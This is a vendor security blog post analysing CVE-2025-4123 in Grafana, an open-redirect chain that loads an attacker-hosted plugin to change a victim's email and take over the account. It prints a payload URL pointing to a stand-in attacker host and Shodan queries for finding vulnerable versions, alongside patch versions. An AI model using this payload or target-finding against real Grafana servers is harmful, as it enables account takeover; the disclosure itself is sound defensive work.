ניר ומשה בלוכ

Confirmed Critical | “The Grafana Ghost” exposes 36% of public-facing instances to malicious account takeover

More than 95% of Application Security alerts are just noise – as demonstrated by OX Security research. But CVE-2025-4123 – “The Grafana Ghost”, as we will refer to, is not one of them. This newly discovered vulnerability is a rare case that demands attention, time, and resources from security teams.

OX Security’s research reveals that 36% of public-facing Grafana instances (individual deployments or installations of Grafana) are vulnerable to account takeover attacks through this flaw. Even Grafana servers not directly connected to the internet are at risk, due to the potential for blind attacks that exploit the same weakness.

What is Grafana? 

Grafana is a widely used open-source analytics and visualization platform, popular with DevOps engineers, system administrators, and developers. It’s known for enabling real-time dashboards that monitor system performance and infrastructure metrics. By connecting to various data sources, Grafana generates dynamic charts, graphs, and alerts.

With over 128,000 instances deployed globally, according to Shodan, Grafana has achieved widespread adoption. Its popularity is driven by powerful dashboarding capabilities, extensive integration support, and a thriving open-source community.

What is CVE-2025-4123?

CVE-2025-4123 is a 1-day vulnerability first disclosed in May 2025 by Alvaro Balada.

The vulnerability is a chain of exploits, beginning with a malicious link sent to the victim. When clicked, the link makes Grafana use an external malicious plugin hosted on the attacker’s server.

This malicious plugin is capable of running any code on behalf of the user, in our particular case, the code running leads to changing the victim’s Grafana username and login email to values controlled by the attacker or can redirect to internal services. Once the email is changed, the attacker can use it to reset the victim’s password and gain access to their Grafana account.

OX Security’s research team made use of a working exploit and successfully demonstrated account takeover on local Grafana instances. The results show the vulnerability is not only exploitable but easily weaponized, posing a significant risk to organizations running affected versions.

  • Potential damage 

A compromised Grafana admin account can lead to severe consequences:

  • Complete access to internal metrics and dashboards: including sensitive operational data, logs, and business intelligence.
  • Account control: attackers can lock out legitimate users or delete accounts.
  • Operational disruption: without access to monitoring tools, organizations could lose visibility into critical systems.
  • Affecting 36% of Public-Facing Grafana Instances

During our investigation, 36% of exposed Grafana instances were confirmed to be vulnerable. Even more are likely affected behind firewalls or in segmented networks.

  • Internal Grafana Instances Are Vulnerable Too

While talking about a high percentage of publicly available Grafana servers, the vulnerability also affects Grafana instances running locally by crafting a payload that takes advantage of the locally used domain name and port for the local service, as can be seen in the PoC below.

Recommendations

A patch for the vulnerability is available at multiple Grafana versions including:

  • 10.4.18+security-01
  • 11.2.9+security-01
  • 11.3.6+security-01
  • 11.4.4+security-01
  • 11.5.4+security-01
  • 11.6.1+security-01
  • 12.0.0+security-01

Upgrading to those versions is recommended to fix the vulnerability.

Vulnerability Analysis 

image

Looking into the source code, we will be able to find at pkg/api/static/static.go the sink:

image

It seems that we can control the ctx.Req.URL.Path parameter, but first we have to arrive at this part in the code. 

By looking into the code, and in order to arrive at this part of it, an attacker has to call ctx.Req.URL.Path parameter that leads to a directory on the server, while also not having a suffix.

By using a value such as /public the flow of the code will take us to fi.IsDir() and from following the if condition, we will finally arrive at the redirect function by redirecting us to the variable stored at path.   

This value indeed takes us to the relevant part of the code as can be seen from my debugger:

image

The problem, or more precisely, the question is, where is the vulnerability?

You got the redirect to /public/ so what?

And indeed we just got a redirect:

image

We need to find a way to send a valid directory, while also taking advantage of that to our malicious activity.

Diving back into the code, we will find this path.Clean:

image

Creating the Exploit

We have to find a value that after cleaning will give us a valid directory, and while passing to the redirect will be redirected to our hosted site.

And the CVE was based upon ? .

By making use of:

http://localhost:3000/public/../\attacker.com/%3f/../..

The path.Clean will give us: “”

  • The reason for that is that /public/../ resolves to: / (cancels out public)
  • ../.. Moves up two directories:
    • First .. cancels out %3f, leaving /\attacker.com
    • Second .. cancels /\attacker.com, leaving /

While the path propagated to the Redirect will be: "/public/../\\attacker.com/?/../../"   

Which will be redirected to: /\attacker.com/?/../../

image

While /\attacker.com indicates a protocol-relative URL, which uses the same protocol as the current page (https).

And the ? keeps our domain instead of cleaning it up based on the ../../

Perfect, based on this part of the CVE we are able to take advantage of open redirect, but now what?

The problem is that while using it in the browser, modern browsers normalize paths that look like: http://localhost:3000/public/../\attacker.com/%3f/../.. :

image

Will take us to: 

So now we have a new problem, there is an open redirect vulnerability at Grafana, but we can’t pass the payload since the browsers normalize it 🙁

Bypass the Browsers Normalization

The beauty is that there is JavaScript code on Grafana that resolves endpoints. Namely, by browsing /public/..%2f..%2f..%2f..%2fsomething will be resolved to /something.

This happens through JavaScript routing logic in Grafana which sees this path and normalizes it using client-side logic.

This is the perfect solution to our problem.

We can make JavaScript to load the open redirect.

So, until now, the CVE is able to make use of JavaScript to load an open redirect vulnerability bypassing the problem raised by modern browsers normalizing paths.

We are able to redirect to our malicious site, which will load the plugin which leads to calling the malicious module. The malicious module contains JavaScript code that will be run on behalf of the victim.

Grafana makes use of /a/plugin-app/explore to load and manage plugin app.

As an example, we created a simple plugin named nirza-plugin-app. By navigating to http://localhost:3000/a/nirza-plugin-app/explore , Grafana will load our locally developed plugin:

image

We will make use of the open redirect, in order to load the relevant files of the plugin from our own hosted server.

On that malicious server we will serve a malicious JavaScript file, which is provided via the “module” parameter to Grafana.

While loading this malicious Grafana plugin, we will be able to change the email of the user, by making use only of grafana_session ,which is the session token of the user, from the victim side.

Executing the Account Takeover

After being able to change the victim’s email address, we will be able to Reset the victim password while making use of it as follow, leading to a full account takeover:

image

Internal Grafana Instances are Vulnerable Too

image

While talking about a high amount of publicly available Grafana servers, the vulnerability affects also Grafana instances running locally by crafting a payload that takes advantage of the locally used domain name and port for the local service, as can be seen in the PoC below.

PoC

Publicly accessible instances:

Local instances:

Vulnerable Instances in the Wild

By examining Shodan, we identified over 46,000 instances vulnerable to this chain of vulnerabilities.

Based on our research, we crafted a Shodan query that searching for the vulnerable versions:

product:Grafana version:"11.3.0,11.3.1,11.3.2,11.3.3,11.3.4,11.3.5,11.3.6,11.3.7,11.4.0,11.4.1,11.4.2,11.4.3,11.4.4,11.4.5,11.5.0,11.5.1,11.5.2,11.5.3,11.5.4,11.5.5,11.6.0,11.6.1,12.0.0"

shodan link

image

And while looking for Grafana instances, by using the query:

product:Grafana

Revealing around 128,000 instances in time of writing:

shodan link

image

Resulting in around 36% instances of Grafana being vulnerable to this attack.

Dashboard1170

Take a Product Tour

  • Get Full Visibility
  • Focus on What Matters
  • Mitigate Risk at Scale
Take a Tour

Take the OX challenge

Shrink security debt by 95% in less than 90 minutes